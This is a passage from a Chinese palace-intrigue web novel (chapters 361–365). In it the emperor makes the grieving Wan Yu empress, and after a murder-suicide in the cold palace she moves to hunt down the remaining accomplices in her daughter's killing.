她瞪大眼睛,又看怪物一样的眼神看着祁让,发出和她平时端庄贤雅的形象截然不同的癫狂笑声。 “哈哈哈哈,哈哈哈哈……” 笑声在屋子上空回荡,她的眼泪也随之掉下来。 “江晚余,我终于明白了,你就是上天注定的皇后人选,我们这些人,全都是你的陪衬,再如何努力,也只能作为你的垫脚石,看着你一步一步走上巅峰。 哈哈哈哈,早知如此,我还折腾什么,倒不如老老实实待在后宫,做一个无欲无求的摆设,至少可以锦衣玉食地过完一生……” 晚余看着她,实在也无话可说。 一直跪在地上没有吭声的端妃,此时也像是受了什么刺激一样,低着头,吃吃地笑了起来。 她不说话,只是笑,谁也猜不到,她是在笑贤贵妃的偷鸡不成蚀把米,还是在笑她自己有眼无珠,枉费的这几年光阴。 徐清盏站在原地一动不动,妖孽般的脸上看不出任何情绪,只有细心的人,才会从他黯淡的眼底看出一丝不易察觉的落寞。 孙良言抱着拂尘,和他一样一动不动,脸上却是早知道会是这样的无奈。 胡尽忠的神情最为复杂,曾经他是最希望晚余能登顶后位的人,为此花费了很多心思,然而,当这一天突然猝不及防的到来,他已经不知道自己是该欢喜还是该难过。 他看着晚余,三角眼里充斥着他从未对任何人流露过的一种情感。 那种情感叫做悲悯。 他一个没有根,也没有什么道德感,生活在最底层,为了往上爬而不择手段的太监,头一回产生了悲天悯人的思想。 他觉得命运是如此的神奇,又是如此的不由分说。 被命运选中的人,无论如何都会走向命运预设好的位置。 或许中途会偏离轨迹,走几条弯路。 但最后的最后,都将殊途同归。 用老百姓的话说,就是人算不如天算。 该是你的,躲也躲不掉,不是你的,求也求不来。 众人各怀心思,各生感慨,孙良言上前一步提醒祁让:“皇上,立后的事非同小可,还是先把这边的事处理完了再做计较吧!” 祁让终于做出这个决定之后,整个人都舒畅了不少,他松开晚余的下巴,让徐清盏按原计划行事,又命人将贤贵妃和端妃暂时关押到冷宫。 贤贵妃要详细交代当年产房里发生的事,端妃也要详细交代协助她杀害小公主的同党。 贤贵妃实在太受打击,被带走的时候还在癫狂大笑。 她自诩聪明,机关算尽,到头来,却是为他人做了嫁衣裳,怎不叫她悔断肝肠。 端妃一副心如死灰的样子,被两个小太监押着,默默无语地跟在她身后。 那凄惨又破碎的神情,两个小太监都不忍心对她多用一点力道。 她们两个走了之后,祁让又命人把张有道和拾翠带下去,分别关进慎刑司的牢房。 他们都算是证人,后面审理贤贵妃的案子还要用到他们,眼下还不能直接处置。 拾翠哭着求晚余:“皇后娘娘,奴婢愿意配合,奴婢会把自己知道的事情都交代清楚,求皇后娘娘开恩,留奴婢一条性命,哪怕把奴婢发落到掖庭也是好的。” 一声皇后娘娘,喊得晚余五味杂陈,心口像堵了一块大石头一样难受。 “你先去吧,本宫会考虑的。”她艰涩开口,声音都是虚的。 拾翠和张有道被带走,其他人也都退了出去。 现场只剩下晚余和祁让,胡尽忠和孙良言。 一个是皇上,一个是皇后,一个是乾清宫的大总管,一个即将是坤宁宫的大总管。 四人一时都无话可说。 许久,祁让站起身,掸了掸衣襟袍袖,对晚余伸出手,踌躇满志地说道:“走吧,朕的皇后。” 晚余嗓子眼梗的难受,却不得不握住了他的手,被他大力拉扯起来,随着他向外走去。 长长的宫道上,帝后二人并肩而行,两位大总管远远跟在后面。 天光已然大亮,朝阳从东面的宫墙跃出,万道金光洒落在紫禁城的琉璃瓦上。 是一日之初,也是一年之初。 春天来了。 第361章 娘娘,快谢恩吧! 晚余回到承乾宫,不吃不喝不说话,先蒙头大睡了一场。 这两日发生的事太多,多到已经超出了她的承受能力。 当一个人无法承受一些事情的时候,睡觉便是最好的修复和疗愈。 胡尽忠和紫苏默默地守着她,不让任何人打扰她。 紫苏已经听胡尽忠说了祁让要立晚余为后的事,震惊之余,流下了不知是喜是悲的眼泪。 胡尽忠自己也是百感交集,却还笑着逗她:“哭什么,咱俩这是一不小心就飞黄腾达了。 以后我是坤宁宫的大总管,你是坤宁宫的掌事姑姑,这紫禁城,咱终于可以蹚着走了。” 紫苏红着眼睛回了他一个字:“滚!” 胡尽忠也不在意,想起自己很久很久以前劝晚余的话。 他说只要晚余愿意留下来,凭晚余的样貌,凭他的头脑,两人前朝后宫打好配合,将来晚余成了主子娘娘,再把他升为大总管,这紫禁城他们指定能蹚着走。 时至今日,他的梦想竟是以这种奇奇怪怪的方式实现了。 娘娘的梦想,却像是永远都不能实现了。 他也和紫苏一样,不知道是喜还是悲。 不管怎样,他这辈子就跟定娘娘了。 他现在能做的,就是尽心尽力地陪伴着娘娘,为娘娘披肝沥胆,赴汤蹈火,做自己能力所及的一切。 只有这样,才能稍微弥补他对娘娘的亏欠之情。 紫苏哭过之后,问胡尽忠:“既然二皇子是贤贵妃害的,为什么皇上当年和端妃说二皇子是病故的? 皇上是没查出来,还是为了平衡朝堂欺骗端妃?” 胡尽忠嗐了一声:“傻丫头,你想什么呢,二皇子是皇上的血脉,残害皇嗣这么大的事,皇上怎么可能为了平衡朝堂就置之不理。” “那到底是怎么回事?”紫苏追问。 胡尽忠眯着眼回想当年:“调查二皇子死因的事我也有参与,当时是春天,二皇子那阵子有些体虚,太医就和端妃说让他多晒晒太阳。 那天,端妃正抱着他在院子里晒太阳,突然起了一阵大风,导致他吸入花粉柳絮引发了哮喘。 这病发作得太急,二皇子年纪又小,等太医赶到时,人就已经不行了。 端妃不知听了谁的话,说二皇子不只因为那一阵风吸入的花粉,而是兰贵妃让人在他枕头里面放了花粉。 皇上让太医检查了长春宫所有的枕头被褥,没有一条是沾染过花粉的。 端妃却不依不饶,认定了是兰贵妃,非要皇上赐死兰贵妃,这没凭没据的,皇上怎么可能听她的? 她就跟疯了一样,天天和皇上闹,皇上足足让人查了一个月,事实证明确实和兰贵妃没有关系。 可端妃钻了牛角尖,压根不信皇上的话,我也是今天听了贤贵妃自己招认,才明白端妃为何那样固执己见。 贤贵妃心机深,最会蛊惑人心,端妃当时正是伤心的时候,神智都快不清醒了,可不就她说什么是什么吗? 况且二皇子的哮喘,是贤贵妃买通了接生婆做的手脚,等到渐渐有症状显现出来的时候,已经是一个多月之后的事。 太医诊断说是胎里带的,谁又能知道这是有人故意为之呢? 再者来说,皇上也确实没骗端妃,二皇子发病确实是因为那阵风,跟兰贵妃没有任何关系。” 紫苏听完,不胜唏嘘,半晌才又问他:“兰贵妃的皇长子又是怎么回事?” 胡尽忠说:“皇长子就是得了天花走的,这是天灾,兰贵妃虽然也是痛断肝肠,但也没有埋怨谁,难过了一段时间就接受了现实。” 紫苏叹了一声“都是命”,想到无辜枉死的小公主,往下也没了言语。 胡尽忠拍拍自己的肚皮:“这样看来,我这没根的人也不是没好处,一人吃饱,全家不饿,也没有媳妇孩子拖累,什么时候寿命到了,两眼一闭,两腿一蹬,走你!” 紫苏说:“呸呸呸,好的不灵坏的灵,你少说这些死呀活呀的,哪天真应验了,你就去阎王殿里哭去吧!” 胡尽忠嘿嘿一乐:“怎么着,你舍不得呀?” 紫苏嫌恶地白了他一眼:“你只管死,看我不把我所有的银子都拿来买鞭炮给你送行。” 胡尽忠笑得更大声:“放心吧,我这样的,就算到了阴曹地府,也得混成阎王爷跟前的第一红人儿。” “……”紫苏懒得理他,掀帘子进屋去看晚余。 晚余这一觉直睡到第二天早上才醒。 醒来后,她沐浴更衣,用了些饭,突然不知道自己该干什么,一个人坐着发起了呆。 她之所以能一口气撑到现在,就是为了找出凶手,给梨月报仇。 如今一切真相大白,她并没有感到畅快,反而更加抑郁,憋闷,甚至连恨谁不恨谁都变得很迷茫。 她想她可能需要一点时间,将这团乱麻好好捋一捋。 她也不想当皇后,她得想个法子,让祁让改变主意。 然而,不等她有所行动,孙良言突然来了承乾宫,带来了祁让正式立她为后的圣旨。 晚余被打了一个措手不及。 她以为祁让再怎么着急,也要先和朝臣,和静安太妃商量之后再做决定。 她还想着去见一见静安太妃,让静安太妃帮忙劝劝祁让呢! “怎么这么快,前朝没人有异议吗?”她嗓音干哑地问道。 孙良言弯着腰,小声道:“奴才先给娘娘透个底,兰贵妃和贤贵妃的父兄族人皆已经被免职下了大狱,徐掌印和沈大将军向皇上举荐了不少人,现今朝堂上能说得上话的,大半都是对皇上忠心的臣子,以及徐掌印和沈大将军的人脉,没人敢提出异议。” 晚余吃了一惊,半晌都没有反应过来。 在她决定要查找真相为梨月报仇时,曾担心牵扯的妃嫔多了,会引发前朝动荡。 徐清盏让她不用担心,说他和沈长安早就在暗中培养他们的人脉,为的就是有一天她若生下皇子,好用这些人脉保她和小皇子平安。 可是现在,他们却把人脉用来扶持她登上后位。 他们难道不知道,她并不想当这个皇后吗? 他们到底是怎么想的? 晚余陷入更深的迷茫,浑浑噩噩地听着孙良言读圣旨,从头到尾,一个字都没听进去。 孙良言读完了圣旨,说了几句恭喜她的吉祥话,她就像木头人一样没有任何反应。 “娘娘,快领旨谢恩吧!”孙良言提醒道。 紫苏和胡尽忠也在旁边提醒她。 晚余麻木地谢了恩,双手举过头顶,孙良言便将圣旨卷起来放在了她手里。 那圣旨似有千斤重,压得她站不起来。 孙良言和胡尽忠一左一右将她搀起。 承乾宫的宫人跪了一地,向她大礼参拜,恭喜她荣升后位,母仪天下。 晚余听到那句母仪天下,才像突然回了神,一滴泪从眼角无声滑落下来。 第362章 苦心 孙良言已经打算告退,看到晚余那滴泪,终是于心不忍,叹了口气,对晚余道:“奴才有几句掏心窝子的话想和娘娘说,娘娘能否给奴才一个机会?” 晚余心乱如麻,本不欲听他多说, 念及他昔日对自己多有照拂,眼下又这般言辞恳切,便点头应允了他,屏退众人,和他进了大殿,让紫苏和胡尽忠守在外面。 “娘娘先坐吧!” 孙良言扶着晚余在主位上落了座,这才抱着拂尘退到她侧前方,躬着身子说道,“娘娘可知皇上登基这些年为何一直不立后吗?” 这个问题,晚余记得祁让曾和她提起过。 大概就是兰贵妃,贤贵妃和庄妃的娘家都是助祁让坐稳江山的功臣,三家在朝堂形成三足鼎立之势,立谁为后都会打破平衡,而京中其他家族的适龄女子,又没有什么合适的人选。 晚余便将这话同孙良言说了。 孙良言说:“这是一个原因,其实另外还有一个原因,只有奴才和皇上知道,娘娘想不想知道?” 晚余被他勾起了好奇心,就顺着他的话问了一句:“是什么?” 孙良言肃容道:“皇上从小到大,一直被人说是天煞孤星,会克死身边所有的亲人。 皇后相当于皇上的妻子,皇上嘴上不说,心里却很介怀,担心自己会连妻子孩子都克死。 奴才为了让他安心,就暗中找了一位高僧给他批命,高僧叫他七年之内不要娶正妻,七年之后再娶,方能夫妻顺遂,白头偕老。” 晚余很是无语,着实没想到会是这么个原因,更没想到,祁让竟然会相信这种神神叨叨的话。 “皇上不是不信鬼神吗,怎么一个和尚不知真假的话,他却如此重视?” 孙良言轻轻摇头:“其实皇上并没有完全相信,但当时的确没有合适的人选,他也就半信半疑地拖到了现在,到今年正好是第七年。” “……” 晚余张张嘴,却无话可说,半晌才苦涩道,“所以你想说本宫这是赶巧了吗?” 今天是正月初八,一年的开端。 祁让是一进入第七年,就迫不及待要立后了吗? 还是说准备立后的他,一下子失去了三个高位妃嫔,挑挑拣拣一番,也没剩下什么人了,于是就拿自己凑了个数? 晚余苦笑,已经不知道该做何反应。 孙良言猜到她的想法,忙摆手道:“不是这样的娘娘,其实皇上在第一次临幸您之后,就有了要立您为后的念头。 但您父亲是太后一党,您又是外室女的出身,若立您为后,对那三家来说无疑是一种羞辱。 所以皇上一直在想办法提升您的身份,迟迟不肯对江连海下手,也是怕您背上逆贼之女的污名,若非江连海协助太后联合瓦剌人谋反,皇上可能还会让他再多活几年。” 晚余听孙良言这么说,突然想起祁让曾经拿立后的事试探过她。 那时她说自己是逆贼之女,不配当皇后。 祁让就很没好气地抱怨她,说朕早说过你父亲要是成了逆贼,你晋位就会十分艰难,你看现在问题不就来了。 她见祁让说的那样认真,生怕祁让当了真,就说自己是外室女,从小也没接受过什么教育,没有管理六宫的能力。 祁让又说这些都不是问题,只要她想学,现在也还来得及,他可以找几个大儒好好教她。 后来她只好拿自己生完孩子就要离开的理由让祁让死心。 她以为祁让会生气,祁让却在沉默片刻之后,说他不过随口一说,皇后可不是谁想做就能做的,就算她有意,她这出身也不行。 那时的她,只顾着想办法推脱,并没有往别处想。 如今被孙良言点破,才知道祁让一直在暗中谋划此事。 既然如此,他又为何写了圣旨承诺让她生了孩子就走? 难道说,那一道圣旨其实就是为了稳住她,好让她安安心心把孩子生下来? 思及此,她不禁变了脸色,后背像是有一阵阴风刮过。 孙良言本意是想让她明白皇上的良苦用心,见她非但没感动,反倒一副很惊恐的样子,就知道她又想偏了。 “娘娘不要害怕,皇上没有骗你,他写圣旨给你的时候,也是真心想放你走的,他那时就已经想好了,如果您这胎能生下一个皇子,他就好好把皇子教养大,只要江山后继有人,立不立后都无所谓了。” 晚余将信将疑,没有接他的话。 孙良言想了想,又道:“皇上对于娘娘和沈大将军以及徐掌印的感情颇为介怀,他二人为了帮助娘娘出宫做下的那些事,换作其他任何一个皇帝,只怕都是要掉脑袋的,娘娘知道皇上为何始终都没动他们吗?” “为什么?”晚余听他提起沈长安和徐清盏,立刻警惕起来。 孙良言说:“因为皇上知道娘娘出身低,您父亲又是那样的人,如果立您为后,肯定会遭到群臣反对,到时候少不得要徐掌印和沈大将军为您助力,因此才格外宽容他们二人。” “……”晚余定定看着他,心里翻江倒海。 孙良言接着又道:“或许有人会说,皇上之所以容忍他们,是因为没有别的人才可用。 但娘娘自个想想,我天朝泱泱大国,万里河山,皇上当真会无人可用吗? 只要皇上愿意,多的是有本事有能力的人为他抛头颅洒热血,他当真离了那两人就举步维艰吗?” 晚余没说话,但她知道孙良言说的对。 大邺这么大,万里疆土不可能只靠一个沈长安来守护,朝堂风起云涌,人才辈出,也不可能只靠一个徐清盏来支撑。 可是话说回来,谁也不能因此就否定沈长安和徐清盏为大邺,为祁让本人所做的贡献,也不是谁都能像他们两个那样和祁让心有灵犀,配合默契。 他们互为情敌,又互为知己,因此才形成这种微妙又默契的关系,从某些方面说,的确是祁让离不开他们。 孙良言又道:“皇上是什么样的人娘娘最清楚,就拿徐掌印和沈大将军在朝中扩张势力的事情来说,皇上怎么可能察觉不到? 皇上之所以不加以阻止,任由他们的势力不断壮大,除了信任他们,又何尝不是在为娘娘的小皇子铺路? 虽然娘娘最终生下的是位公主,但皇上的苦心却是实打实的呀!” 晚余不由得一阵心惊。 当时徐清盏和她说他们在暗中发展人脉的时候,她就很是担忧,怕他们这样会引起祁让的不满和忌惮。 现在看来,祁让是默许了他们的行为,才会假装看不见。 当然,也有可能沈长安也猜中了祁让的心思,知道祁让会默许他们的行为。 晚余想通这些,一瞬间只觉得这些身在高位的男人们是如此的高深莫测,步步为营,哪怕同样为情所困,他们的思想和女人也是天差地别,截然不同的。 第363章 死讯 晚余内心大为震撼,久久不语。 孙良言观她神色,知道她这是把自己的话听进去了,于是又语重心长道:“娘娘这一路行来,的确遭受了很多苦难,这其中,奴才也有不可推卸的责任。 可人生天地间,各有各的枷锁牢笼,各有各的颠沛流离,没有任何人能真正的随心所欲。 奴才一个阉人,没什么大智慧,但奴才想着,一个人如果兜兜转转,仍旧被命运推到了高处,命运必定是赋予了他非同常人的使命。 这个时候,与其痛苦纠结,怨命运不公,不如就站到最高处,换一个更广阔的视角来看待世间万物,或许一切都会变得豁然开朗。” 晚余呆呆坐着,一种无力感油然而生:“命运给了我不想要的,我也非得接受吗,我抵抗不了命运,我还可以选择结束自己的生命。” “可是那有什么意义呢?”孙良言说,“人生没有回头路,也没有重来一次的机会,真正勇敢的人,不会以死来报复命运,而是从残酷的命运中寻找生机。 命运不会在意一个人的生死,只有爱你的人才会为你心痛,命运不会为你的死流一滴泪,爱你的人却会为你流一生的眼泪。” 晚余的心像是被什么狠狠击中,一瞬间,忽然感觉,从前的孙良言又回来了。 那个曾经给过她很多帮助,屡屡在她迷茫的时候为她拨开迷雾,鼓励她无论如何艰难都不要自我放弃的孙大总管又回来了。 或许他从未离开过,只是那么多的纷扰,那么多的变故,周遭的喧嚣遮住了他的脚步声,让她以为,他们早已渐行渐远。 晚余鼻子发酸,眼圈泛红,许久许久,才倦懒道:“你先去忙吧,让我好好想想。” “是。”孙良言的眼睛也微微湿润,弯腰恭敬道:“奴才告退。” 他向后退了三步,转身走出大殿,把晚余一个人留在里面。 到了门口,他又忍不住回头看了一眼。 大殿那么大,那么空旷,晚余瘦弱的身影置身其中,仿佛浩瀚天地间一只无所适从的鸟。 她明明有翅膀,却迷失了方向,不知该飞往何方。 孙良言心疼不已,眼泪突然就猝不及防地掉了下来。 他抬袖子擦泪,叹息着迈过门槛。 “哟,孙大总管怎么掉金豆子了?”胡尽忠阴阳怪气的声音在他耳边响起。 孙良言吓了一跳,放下袖子瞪了他一眼,“滚滚滚,谁哭了?” “瞧,袖子都湿了,还不承认。”胡尽忠扯着他的袖子说道,“怎么着,是不是挨骂了,要不要我替你去向皇后娘娘求个情?” “一边儿去。”孙良言抽出袖子,甩了他一下,“你小子不要一得了势就尾巴翘上天,没得给皇后娘娘丢脸。” “嘿!你倒教训起我来了……”胡尽忠瞪大他的三角眼,正要放点狠话来彰显自己大总管的身份,院门外突然慌慌张张跑来一个小太监,进门看到他们两个站在廊下,就大声喊道:“孙大总管,胡大总管,出事了,端妃娘娘在冷宫勒死了贤贵妃,自个也悬梁自尽了。” 小太监的嗓子又尖又细,像一支带着响哨的箭,瞬间穿透所有人的耳膜。 两个大总管瞬间变了脸色,承乾宫各处忙碌的宫人全都围了过来。 晚余在大殿里都听到了他的喊叫,急急忙忙走了出来。 到了门口,正好听到胡尽忠尖着嗓子问:“什么时候的事,两个都没了吗?” “是的,两位娘娘都走了。”小太监说,“身子都硬了,应该是昨天夜里的事,皇上正说要提审她们呢,福公公打发人过去一瞧,人都凉透了。” 晚余心下一沉,身子晃了晃,忙伸手扶住门框。 贤贵妃死了就死了,端妃还没供出她的同伙,倘若就这么没了,那些协助她杀害梨月的人岂不要逍遥法外? 紫苏看到晚余出来,连忙上前搀扶,口中安慰道:“娘娘莫怕,她们本就罪不可恕,死了也怨不着您。” 孙良言和胡尽忠都向她看过来,胡尽忠说:“娘娘,这事儿和您没关系,您不要害怕。” 晚余定了定神,问那小太监:“兰贵妃呢?她有没有事?” “回娘娘的话,兰贵妃没事,她说她身上有伤,夜里睡得太沉,没听见什么动静。” 晚余点点头,对胡尽忠吩咐道:“备辇,我去瞧瞧。” 胡尽忠犹豫了一下,试图劝她打消这个念头:“勒死的吊死的都特别吓人,娘娘还是别去了吧,晚上会做噩梦的。” 晚余说:“我不怕,我就是想去看看。” 胡尽忠和孙良言对视了一眼。 孙良言就劝晚余:“人都没了,娘娘去了也无济于事,娘娘身子弱,冲撞了什么反倒不好,皇上那边一定会安排人妥善处理的。” 紫苏也道:“是啊是啊,娘娘要是不放心,让胡尽忠先过去替您瞧一眼,要是没那么吓人,娘娘再去不迟。” 胡尽忠:“……我的姑奶奶,你可真会给我派活。” 正说着,外面来了一个小太监:“娘娘,不好了,静安太妃听闻端妃和贤贵妃的事,一时承受不住昏过去了,皇上说冷宫那边不用您管,让您先去瞧瞧静安太妃。” 晚余又是一惊,缓了一会儿才道:“那好吧,胡尽忠,叫人备辇,带上周嬷嬷,咱们先去一趟寿康宫。” 胡尽忠连忙应是,叫人备了肩辇,和紫苏一起陪着她去往寿康宫。 孙良言回去向祁让复命,临走叫晚余不要多想,有什么事会第一时间让人来禀告她。 晚余起初只是震惊,也没空多想,肩辇行至中途,她才慢慢反应过来有哪里不对劲。 若是换作从前,这些事她根本不用理会,谁死谁活跟她有什么关系? 静安太妃和她又有什么关系? 现在只因为她成了皇后,就不得不承担起她的责任。 她感觉自己像是被一只无形的大手推动着,正跌跌撞撞奔向一条不能回头的未知之路。 如果用孙良言的话说,那只大手,就叫做命运。 寿康宫里,静安太妃已经被太医救醒,正靠坐在床头就着一个宫女的手喝水。 晚余领着周嬷嬷走到床前给她行礼问安,说承乾宫现在没什么事,就把周嬷嬷带回来服侍她。 静安太妃伸手去拉晚余的手,让她在床沿坐下,神情哀伤又纠结:“好好的两个人,说没就没了,哀家心里实在难受,可你又是深受她们所害的,我若心疼她们,又觉得对不住你。” 晚余听她这么说,心里也很难受,便反握住她的手,温声安慰她:“太妃不要这么想,您是长辈,长辈心疼晚辈再正常不过,这和我的事没有冲突,端妃的举动我也很意外,很唏嘘。” “是啊!”静安太妃叹息道,“她也是个可怜人,若非为了孩子,她何至于走到这步田地。 我仅有的几回见她,感觉她又文静又灵秀,万万想不到她也有那样狠辣的一面。 亏得永乐公主还整天说要是嫁不出去,就和她一处吃斋念佛去,你瞧瞧,吃斋念佛的人狠起来,比寻常人更可怕。” “永乐公主?”晚余不觉皱了下眉,“永乐公主和端妃很熟吗?” 第364章 身自在不如心自在 “不是很熟。”静安太妃说,“端妃闭门不出都好几年了,当时永乐还小,养在太后膝下,和她没什么来往。” 晚余越发奇怪:“既然不熟,永乐怎么会想到和端妃一处吃斋念佛?” 静安太妃便大致和她解释了一下:“就是前段时间,中山王把你们所有人都关押在寿康宫时,端妃不是也来了吗, 永乐见了她,说别的妃嫔都惶惶不安,唯有她心静如水,不受任何干扰,于是就对她生出些好奇,去她房里和她一处说过几回话。” 静安太妃说着叹了口气:“永乐这孩子也是个可怜的,许是姻缘不顺,心中郁结,就和端妃有了些惺惺相惜的感觉吧! 后面我一提到给她相看人家,她就说嫁人没什么意思,与其嫁一个自己不喜欢的人,不如绞了头发做姑子自在清静。” 晚余听了,半晌没有言语,想起前年的接风宴上,祁让打算给永乐公主和沈长安赐婚,被沈长安当场拒婚的事。 那天之后,她就没怎么关注过永乐公主,也不知道她是否又相看过别的人家。 不过听静安太妃的描述,可能除了沈长安,她也没有看上别人吧? 晚余不免有些唏嘘,因为涉及到沈长安,便也没再往下说。 静安太妃缓了一阵子,屏退了下人,又语重心长地劝她:“我知道你现在肯定很不好受,什么准备都没有,就被架上了皇后之位,被迫接下这么个烂摊子。 可是现如今的后宫,除了你,确实也没人能担此重任了,况且皇帝登基七年不立后,对前朝后宫,乃至江山社稷都很不利。 你心里对皇帝有怨言我也知道,但事已至此,一味的自我消耗也没什么益处,你要记住我从前和你说过的话, 不着急,慢慢来,凡事讲究个水到渠成,或早或晚,人生总有峰回路转,拨云见日的一天。” 晚余苦笑:“真的会有吗,我怎么觉得我的峰回路转不是往好的地方转,而是越转就越陷得深呢?” “那要看你以什么心态来看待这件事。”静安太妃说,“一念心清净,处处莲花开,身自在不如心自在,心自在了,何处不是乐土?” 晚余默默不语,眼中仍有迷茫。 静安太妃笑了笑又道:“你年纪还小,我说的这些你可能还参不透,那你就换个思路来想, 你现在已经是皇后了,一人之下,万人之上,就算受气,也只受一个人的气,除了那一个人,万民都要跪伏在你脚下。 你若嫁个寻常人家,公婆你要晨昏定省,妯娌小姑你要处处忍让,还要为夫君生儿育女,操持家务,大好的年华不也一样消耗在后宅之中吗? 都是后宅,试问谁家的后宅能大过天子家的后宅? 都是给人做媳妇,试问谁家的媳妇能比皇后还要尊贵?” 她顿了顿,又拉着晚余的手轻拍:“哀家只是个困于后宅的妇人,或许我的眼光和思想都很局限,但不管怎样,人总要先把眼前的日子过好,才有能力去谋划将来,你说对不对?” 晚余摇头:“我不知道,我心里乱得很,已经分不清对错,我需要好好想一想。” “是要好好想一想。”静安太妃说,“你是个聪明的孩子,困惑对你来说都是一时的,哀家相信,你总有想明白的时候。” 晚余不置可否,又坐了一会儿,见静安太妃身子没什么大碍,便起身告辞而去,临走前叮嘱周嬷嬷和其他的宫人小心伺候。 众人跪在地上,齐声高呼:“恭送皇后娘娘。” 晚余腰背挺直,步子僵硬地走了出去,直到坐上肩辇,才长出一口气。 回到承乾宫,她让胡尽忠去打听端妃和贤贵妃的事,自己准备单独待一会儿。 谁知胡尽忠前脚刚走,庄妃后脚就带着嘉华公主和一众妃嫔过来了,说是要恭贺她荣升后位,特地来给她磕头的。 晚余躲不过,只得在正殿接见了众人,受了她们三叩九拜的大礼,听了一大堆假的不能再假的吉祥话。 唯一一个说真话的,可能就是嘉华公主了。 嘉华公主忽闪着大眼睛,还和从前一样叫晚余“贞娘娘”。 她说:“贞娘娘一点都不开心,为什么我们还要恭喜她?” 庄妃吓得变了脸色,连忙斥责她:“别胡说,娘娘哪有不开心,你小孩子懂什么?还有,你现在该叫母后了,知道吗?” 嘉华公主一脸茫然。 晚余在那一瞬间,从她稚嫩的脸上看到了自己的影子。 “叫母后,快叫呀!”庄妃又在催促嘉华公主。 嘉华公主并不理解母后是什么意思,但还是乖巧地叫了晚余一声“母后”。 晚余看着她,忽而想到了梨月。 如果梨月还活着,明年的这个时候,也该会叫人了。 晚余鼻子一酸,险些落下泪来。 庄妃观她神色,勉强笑着推了嘉华公主一下:“嘉华乖,去让你母后抱抱。” 嘉华公主迟疑了一下,咬着嘴唇走到晚余面前。 晚余弯下腰,将她抱坐在腿上,低头蹭了蹭她的小脸,以此来掩饰自己的失态。 嘉华公主突然搂住晚余的脖子,在她耳边轻声道:“母后,你是不是想哭?” 晚余愣住,也小声问她:“你怎么知道?” 嘉华公主说:“母妃想哭的时候,也会这样抱着我。” 晚余心中酸涩难言。 紫苏见状,便对众人说:“娘娘刚从静安太妃那里回来,眼下有些乏累,各位娘娘小主不如先回去,改天再来陪娘娘说话。” 众人干坐着也觉得尴尬,便借着她的话起身向晚余告退。 晚余把嘉华公主递还给庄妃,对众人说:“宫里出了些事,想必诸位都已知晓,但这些事与你们没什么干系,你们无须惶恐,也不要到处打听议论,免得招惹不必要的麻烦,待事情有了定论,本宫自会告知你们。” 众人纷纷应是,告退出去。 庄妃像是有什么话想和晚余单独说,略一犹豫后又放弃,抱着公主和众人一起离开。 等人都走了,紫苏问晚余:“庄妃前几天处处提防娘娘,怎么今天竟然主动让嘉华公主和娘娘亲近了?” 第365章 活像个夜闯春闺的贼 晚余不甚在意地打了个哈欠,语气倦怠道,“可能她想通了,知道躲不过去,就想借着孩子同我缓和一下关系吧!” “这倒也是。”紫苏说,“毕竟现在贵妃皇贵妃的位子都空着,或许她也想往上升一升,所以才来讨好娘娘。” 晚余扯唇一笑:“不管怎么说,她把嘉华养得很好。” 紫苏怕她想到梨月公主又要伤神,连忙岔开了话题:“胡尽忠怎么还没回来,怕不是躲到哪里偷懒去了。” “谁偷懒了?”胡尽忠的声音随即在门外响起,“好你个小紫苏,这回叫我逮到你了吧,平时肯定没少说我坏话。” 紫苏吓一跳,拍着心口翻了他一个白眼:“你本来也不是好人,说你坏话不是很正常吗?” “嘿……”胡尽忠还要贫嘴,被紫苏打断,“行了行了,快说正事吧,娘娘都累了。” 胡尽忠便肃容对晚余道:“娘娘,奴才已经打听清楚了,贤贵妃确实是被端妃勒死的。 当时是半夜,端妃趁着看守的宫女睡着的时候溜去了贤贵妃的房间,用腰带把她勒死之后,直接在她房里悬了梁。 据看守的宫女说,她迷迷糊糊中好像听到什么东西倒在地上的声音。 但她当时太困了,两位娘娘又是犯了死罪,她也没当回事,更没想到端妃会对贤贵妃下毒手。 毕竟端妃就算不动手,贤贵妃也活不成的,她完全没这个必要。” “也不是没必要。”紫苏说,“她之前想杀兰贵妃就没杀成,可能是怕皇上又包庇贤贵妃。” “皇上从来没有包庇过谁,那都是她自个瞎猜的。”胡尽忠替祁让打抱不平 “皇上打算如何处置?”晚余问道。 “皇上已经让人给两位娘娘入殓,等处理完裴严两家的事,再给她们发丧。”胡尽忠略一停顿又道,“皇上说,皇后娘娘想必不愿操持两位娘娘的丧事,一切交由内务府负责打点。” 晚余确实不想为仇人操办身后事,闻言便嗯了一声说知道了。 紫苏说:“既然不用娘娘操心,娘娘就去歇息吧,不管怎样,先把精神养好了再说。” 晚余也想一个人待会儿,就听她的话回了寝房歇息。 脑子里像是塞了一团乱麻,她花了好长时间,才把这些天的事情整理清楚。 从她决定留下来查找真相,到她和祁让周旋,得到祁让的许可,顺利见到徐清盏,得到徐清盏的帮助, 再到她向祁让讨来皇贵妃之位,利用身份优势压制后宫妃嫔,向她们讨要宫女,逼迫她们给自己提供线索, 一直到她拿着各处收集来的罪证公开审讯兰贵妃,和祁让唱双簧引端妃现身,再用端妃引出贤贵妃,最后将端妃和贤贵妃的罪行彻底落实。 她的每一步都经过深思熟虑,每一步也都走的很顺利,没有任何偏差。 甚至连烧毁圣旨,都是她思虑再三之后才做出的决定。 因为那道圣旨本来就是不平等条约,对她有太多限制。 既然她抱着必死的决心留下,就没必要再留着那道圣旨,反而可以用来向祁让表明她的决心,让祁让心软,愧疚,妥协,退让。 可以说,以上种种,都在她的掌控之中,唯一让她没想到的是,祁让会在最后时刻被贤贵妃激怒,当场宣布立她为后。 就是这个超出她想象的变故,让她一下子乱了阵脚,从而疏忽了端妃对贤贵妃的恨意,没能防患于未然,以至于端妃到死都没有供出她的同党。 虽然作为主谋的端妃算是为梨月偿了命,可另外还有人在逍遥法外,端妃一死,关于那些人的线索也就断了…… 不,还没完全断。 “胡尽忠!” 晚余想到什么,猛地一下坐了起来。 胡尽忠应声而至,在内室门口,隔着一道珠帘问她:“娘娘有何吩咐?” 晚余急切道:“你赶紧带人去长春宫,把从前服侍端妃的所有宫人全部控制起来,你和来喜亲自审问,从贴身宫女到粗使婆子,一个都不能少。” 胡尽忠愣了下,扒开帘子往里走了两步:“为什么呀娘娘,端妃都已经死了,还审那些人干什么?” “端妃死了,她的同党还在。”晚余说,“皇上也说了,这件事不是她一个人能干成的,她杀了贤贵妃然后自尽,说不定就是为了保住她的同党。” 胡尽忠恍然大悟,连声应道:“好好好,娘娘别着急,奴才这就去,奴才这就去。” 晚余坐在床上,看着他匆匆离去,纷乱的心绪反倒安定下来。 她之所以留下来,不是为了当皇后,而是为了把害死梨月的人找出来。 即便她不得已当了这个皇后,甚至不得不担负起皇后的职责,也不能因此被扰乱了心神。 